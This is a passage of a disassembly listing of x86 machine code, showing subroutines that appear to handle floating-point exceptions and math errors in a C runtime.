; ---------------------------------------------------------------------------


loc_40FD24:				; CODE XREF: sub_40FC57+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_40FD2D:				; CODE XREF: sub_40FC57+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_40FD6A
; ---------------------------------------------------------------------------


loc_40FD34:				; CODE XREF: sub_40FC57+B6j
		cmp	eax, edx
		jnb	short loc_40FD4B
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_40FD74
		mov	esi, ebx
		jmp	short loc_40FCF2
; ---------------------------------------------------------------------------


loc_40FD44:				; CODE XREF: sub_40FC57+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_40FCF2
; ---------------------------------------------------------------------------


loc_40FD4B:				; CODE XREF: sub_40FC57+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_40FD5C
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_40FD65
; ---------------------------------------------------------------------------


loc_40FD5C:				; CODE XREF: sub_40FC57+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_40FD65:				; CODE XREF: sub_40FC57+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_40FD6A:				; CODE XREF: sub_40FC57+40j
					; sub_40FC57+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_40FD76
; ---------------------------------------------------------------------------


loc_40FD74:				; CODE XREF: sub_40FC57+7Ej
					; sub_40FC57+9Dj ...
		xor	eax, eax


loc_40FD76:				; CODE XREF: sub_40FC57+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FC57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FD7B	proc near		; CODE XREF: sub_40C4F8+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_40FDB5
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_40FE15
; ---------------------------------------------------------------------------


loc_40FDB5:				; CODE XREF: sub_40FD7B+26j
		jnb	short loc_40FE1C
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_40FE1C
		lea	eax, [ecx+edx]


loc_40FDCA:				; CODE XREF: sub_40FD7B+59j
		cmp	eax, esi
		jnb	short loc_40FDD8
		cmp	byte ptr [eax],	0
		jnz	short loc_40FDD6
		inc	eax
		jmp	short loc_40FDCA
; ---------------------------------------------------------------------------


loc_40FDD6:				; CODE XREF: sub_40FD7B+56j
		cmp	eax, esi


loc_40FDD8:				; CODE XREF: sub_40FD7B+51j
		jnz	short loc_40FE1C
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_40FE10
		cmp	esi, eax
		jbe	short loc_40FE10
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_40FE07
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_40FE02


loc_40FDFB:				; CODE XREF: sub_40FD7B+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_40FDFB


loc_40FE02:				; CODE XREF: sub_40FD7B+7Ej
		mov	[ebx+4], eax
		jmp	short loc_40FE10
; ---------------------------------------------------------------------------


loc_40FE07:				; CODE XREF: sub_40FD7B+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_40FE10:				; CODE XREF: sub_40FD7B+68j
					; sub_40FD7B+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_40FE15:				; CODE XREF: sub_40FD7B+38j
		mov	[ebp+var_4], 1


loc_40FE1C:				; CODE XREF: sub_40FD7B:loc_40FDB5j
					; sub_40FD7B+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FD7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_40FE24(int,int,double,int)

sub_40FE24	proc near		; CODE XREF: sub_40B7DA+51p
					; sub_40B923+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_420590, 0
		jnz	short loc_40FE59
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_4103D9
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40FE59:				; CODE XREF: sub_40FE24+Aj
		push	0FFFFh
		mov	dword_47F914, 21h
		push	[ebp+arg_C]
		call	sub_41064C
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40FE24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40FE77(int,int,double,double,int)

sub_40FE77	proc near		; CODE XREF: sub_40B7DA:loc_40B89Dp
					; sub_40B923:loc_40B9E6p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_4101C2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40FEB5
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40FF0F
		add	esp, 18h


loc_40FEB5:				; CODE XREF: sub_40FE77+1Aj
		push	[ebp+arg_0]
		call	sub_4104AC
		cmp	dword_420590, 0
		pop	ecx
		jnz	short loc_40FEF3
		test	eax, eax
		jz	short loc_40FEF3
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_4103D9
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FEF3:				; CODE XREF: sub_40FE77+4Ej
					; sub_40FE77+52j
		push	eax
		call	sub_410461
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41064C
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_40FE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF0F	proc near		; CODE XREF: sub_40FE77+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_40FF41
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_40FF41:				; CODE XREF: sub_40FF0F+23j
		test	cl, 2
		jz	short loc_40FF54
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_40FF54:				; CODE XREF: sub_40FF0F+35j
		test	cl, bl
		jz	short loc_40FF66
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_40FF66:				; CODE XREF: sub_40FF0F+47j
		test	cl, 4
		jz	short loc_40FF79
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_40FF79:				; CODE XREF: sub_40FF0F+5Aj
		test	cl, 8
		jz	short loc_40FF8C
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_40FF8C:				; CODE XREF: sub_40FF0F+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_41062F
		test	al, bl
		jz	short loc_410015
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_410015:				; CODE XREF: sub_40FF0F+FDj
		test	al, 4
		jz	short loc_410020
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_410020:				; CODE XREF: sub_40FF0F+108j
		test	al, 8
		jz	short loc_41002B
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_41002B:				; CODE XREF: sub_40FF0F+113j
		test	al, 10h
		jz	short loc_410035
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_410035:				; CODE XREF: sub_40FF0F+11Ej
		test	al, 20h
		jz	short loc_41003F
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_41003F:				; CODE XREF: sub_40FF0F+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41007E
		cmp	eax, 400h
		jz	short loc_410070


loc_410051:				; DATA XREF: .nsp0:00419BDDo
					; .nsp0:0041A40Do
		cmp	eax, 800h
		jz	short loc_410064
		cmp	eax, ecx
		jnz	short loc_410084
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_410084
; ---------------------------------------------------------------------------


loc_410064:				; CODE XREF: sub_40FF0F+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_41007A
; ---------------------------------------------------------------------------


loc_410070:				; CODE XREF: sub_40FF0F+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_41007A:				; CODE XREF: sub_40FF0F+15Fj
		mov	[eax], ecx
		jmp	short loc_410084
; ---------------------------------------------------------------------------


loc_41007E:				; CODE XREF: sub_40FF0F+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_410084:				; CODE XREF: sub_40FF0F+14Bj
					; sub_40FF0F+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_4100AF
		cmp	eax, 200h
		jz	short loc_4100A2
		cmp	eax, ecx
		jnz	short loc_4100BC
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_4100BC
; ---------------------------------------------------------------------------


loc_4100A2:				; CODE XREF: sub_40FF0F+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_4100BA
; ---------------------------------------------------------------------------


loc_4100AF:				; CODE XREF: sub_40FF0F+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_4100BA:				; CODE XREF: sub_40FF0F+19Ej
		mov	[eax], ecx


loc_4100BC:				; CODE XREF: sub_40FF0F+189j
					; sub_40FF0F+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_41063D
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_417140	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_410136
		and	dword ptr [esi], 0FFFFFFFEh


loc_410136:				; CODE XREF: sub_40FF0F+222j
		test	byte ptr [eax+8], 8
		jz	short loc_41013F
		and	dword ptr [esi], 0FFFFFFFBh


loc_41013F:				; CODE XREF: sub_40FF0F+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_410148
		and	dword ptr [esi], 0FFFFFFF7h


loc_410148:				; CODE XREF: sub_40FF0F+234j
		test	byte ptr [eax+8], 2
		jz	short loc_410151
		and	dword ptr [esi], 0FFFFFFEFh


loc_410151:				; CODE XREF: sub_40FF0F+23Dj
		test	[eax+8], bl
		jz	short loc_410159
		and	dword ptr [esi], 0FFFFFFDFh


loc_410159:				; CODE XREF: sub_40FF0F+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_41018D
		dec	ecx
		jz	short loc_410181
		dec	ecx
		jz	short loc_410177
		dec	ecx
		jnz	short loc_41018F
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41018F
; ---------------------------------------------------------------------------


loc_410177:				; CODE XREF: sub_40FF0F+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_410189
; ---------------------------------------------------------------------------


loc_410181:				; CODE XREF: sub_40FF0F+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_410189:				; CODE XREF: sub_40FF0F+270j
		mov	[esi], ecx
		jmp	short loc_41018F
; ---------------------------------------------------------------------------


loc_41018D:				; CODE XREF: sub_40FF0F+257j
		and	[esi], edx


loc_41018F:				; CODE XREF: sub_40FF0F+260j
					; sub_40FF0F+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_4101AF
		dec	ecx
		jz	short loc_4101A6
		dec	ecx
		jnz	short loc_4101B8
		and	[esi], edx
		jmp	short loc_4101B8
; ---------------------------------------------------------------------------


loc_4101A6:				; CODE XREF: sub_40FF0F+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_4101B6
; ---------------------------------------------------------------------------


loc_4101AF:				; CODE XREF: sub_40FF0F+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_4101B6:				; CODE XREF: sub_40FF0F+29Ej
		mov	[esi], ecx


loc_4101B8:				; CODE XREF: sub_40FF0F+291j
					; sub_40FF0F+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40FF0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4101C2	proc near		; CODE XREF: sub_40FE77+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_4101ED
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_4101ED
		push	ebx
		call	sub_41066F
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_4103B7
; ---------------------------------------------------------------------------


loc_4101ED:				; CODE XREF: sub_4101C2+15j
					; sub_4101C2+1Aj
		test	al, 4
		jz	short loc_410207
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_410207
		push	4
		call	sub_41066F
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_4103B7
; ---------------------------------------------------------------------------


loc_410207:				; CODE XREF: sub_4101C2+2Dj
					; sub_4101C2+33j
		test	al, bl
		jz	loc_4102E1
		test	byte ptr [ebp+arg_8], 8
		jz	loc_4102E1
		push	8
		call	sub_41066F
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_4102B9
		cmp	ecx, 400h
		jz	short loc_410291
		cmp	ecx, 800h
		jz	short loc_410269
		cmp	ecx, eax
		jnz	loc_4102D9
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4177A0
		fld	dbl_41FD20
		fnstsw	ax
		sahf
		ja	short loc_410261
		fchs


loc_410261:				; CODE XREF: sub_4101C2+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_4102D7
; ---------------------------------------------------------------------------


loc_410269:				; CODE XREF: sub_4101C2+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4177A0
		fnstsw	ax
		sahf
		jbe	short loc_410281
		fld	dbl_41FD10
		jmp	short loc_410289
; ---------------------------------------------------------------------------


loc_410281:				; CODE XREF: sub_4101C2+B5j
		fld	dbl_41FD20
		fchs


loc_410289:				; CODE XREF: sub_4101C2+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_4102D7
; ---------------------------------------------------------------------------


loc_410291:				; CODE XREF: sub_4101C2+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4177A0
		fnstsw	ax
		sahf
		jbe	short loc_4102A9
		fld	dbl_41FD20
		jmp	short loc_4102B1
; ---------------------------------------------------------------------------


loc_4102A9:				; CODE XREF: sub_4101C2+DDj
		fld	dbl_41FD10
		fchs


loc_4102B1:				; CODE XREF: sub_4101C2+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_4102D7
; ---------------------------------------------------------------------------


loc_4102B9:				; CODE XREF: sub_4101C2+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4177A0
		fld	dbl_41FD10
		fnstsw	ax
		sahf
		ja	short loc_4102D1
		fchs


loc_4102D1:				; CODE XREF: sub_4101C2+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_4102D7:				; CODE XREF: sub_4101C2+A5j
					; sub_4101C2+CDj ...
		fstp	qword ptr [ecx]


loc_4102D9:				; CODE XREF: sub_4101C2+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_4103B7
; ---------------------------------------------------------------------------


loc_4102E1:				; CODE XREF: sub_4101C2+47j
					; sub_4101C2+51j
		test	al, 2
		jz	loc_4103B7
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_4103B7
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_4102FC
		mov	esi, ebx


loc_4102FC:				; CODE XREF: sub_4101C2+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_4177A0
		fnstsw	ax
		sahf
		jz	loc_4103A5
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_41056E
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_410347
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_41039B
; ---------------------------------------------------------------------------


loc_410347:				; CODE XREF: sub_4101C2+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_4177A0
		fnstsw	ax
		sahf
		jnb	short loc_410359
		mov	edx, ebx
		jmp	short loc_41035B
; ---------------------------------------------------------------------------


loc_410359:				; CODE XREF: sub_4101C2+191j
		xor	edx, edx


loc_41035B:				; CODE XREF: sub_4101C2+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_41038F
		sub	eax, ecx


loc_410372:				; CODE XREF: sub_4101C2+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_41037D
		test	esi, esi
		jnz	short loc_41037D
		mov	esi, ebx


loc_41037D:				; CODE XREF: sub_4101C2+1B3j
					; sub_4101C2+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_410389
		or	byte ptr [ebp+var_C+3],	80h


loc_410389:				; CODE XREF: sub_4101C2+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_410372


loc_41038F:				; CODE XREF: sub_4101C2+1ACj
		test	edx, edx
		jz	short loc_41039B
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_41039B:				; CODE XREF: sub_4101C2+183j
					; sub_4101C2+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_4103A7
; ---------------------------------------------------------------------------


loc_4103A5:				; CODE XREF: sub_4101C2+14Ej
		mov	esi, ebx


loc_4103A7:				; CODE XREF: sub_4101C2+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_4103B4
		push	10h
		call	sub_41066F
		pop	ecx


loc_4103B4:				; CODE XREF: sub_4101C2+1E8j
		and	edi, 0FFFFFFFDh


loc_4103B7:				; CODE XREF: sub_4101C2+26j
					; sub_4101C2+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_4103CE
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_4103CE
		push	20h
		call	sub_41066F
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_4103CE:				; CODE XREF: sub_4101C2+1F9j
					; sub_4101C2+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_4101C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4103D9(int,int,int,int,int,int,double,int)

sub_4103D9	proc near		; CODE XREF: sub_40FE24+2Bp
					; sub_40FE77+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_410487
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_410444
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41064C
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41364D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41043E
		push	esi
		call	sub_410461
		pop	ecx


loc_41043E:				; CODE XREF: sub_4103D9+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_410444:				; CODE XREF: sub_4103D9+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_41064C
		push	[ebp+arg_0]
		call	sub_410461
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_4103D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_410461	proc near		; CODE XREF: sub_40FE77+7Dp
					; sub_4103D9+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_41047C
		jle	short locret_410486
		cmp	eax, 3
		jg	short locret_410486
		mov	dword_47F914, 22h
		retn
; ---------------------------------------------------------------------------


loc_41047C:				; CODE XREF: sub_410461+7j
		mov	dword_47F914, 21h

locret_410486:				; CODE XREF: sub_410461+9j
					; sub_410461+Ej
		retn
sub_410461	endp


; =============== S U B	R O U T	I N E =======================================



sub_410487	proc near		; CODE XREF: sub_4103D9+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_41FC38


loc_41048E:				; CODE XREF: sub_410487+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_4104A4
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_41FD10
		jl	short loc_41048E
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4104A4:				; CODE XREF: sub_410487+Dj
		mov	eax, off_41FC3C[ecx*8]
		retn
sub_410487	endp


; =============== S U B	R O U T	I N E =======================================



sub_4104AC	proc near		; CODE XREF: sub_40FE77+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_4104B8
		push	5
		jmp	short loc_4104CE
; ---------------------------------------------------------------------------


loc_4104B8:				; CODE XREF: sub_4104AC+6j
		test	al, 8
		jz	short loc_4104C0
		push	1
		jmp	short loc_4104CE
; ---------------------------------------------------------------------------


loc_4104C0:				; CODE XREF: sub_4104AC+Ej
		test	al, 4
		jz	short loc_4104C8
		push	2
		jmp	short loc_4104CE
; ---------------------------------------------------------------------------


loc_4104C8:				; CODE XREF: sub_4104AC+16j
		test	al, 1
		jz	short loc_4104D0
		push	3


loc_4104CE:				; CODE XREF: sub_4104AC+Aj
					; sub_4104AC+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4104D0:				; CODE XREF: sub_4104AC+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_4104AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4104D9(double)

sub_4104D9	proc near		; CODE XREF: sub_40B7DA:loc_40B860p
					; sub_40B923:loc_40B9A9p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_4104D9	endp


; =============== S U B	R O U T	I N E =======================================

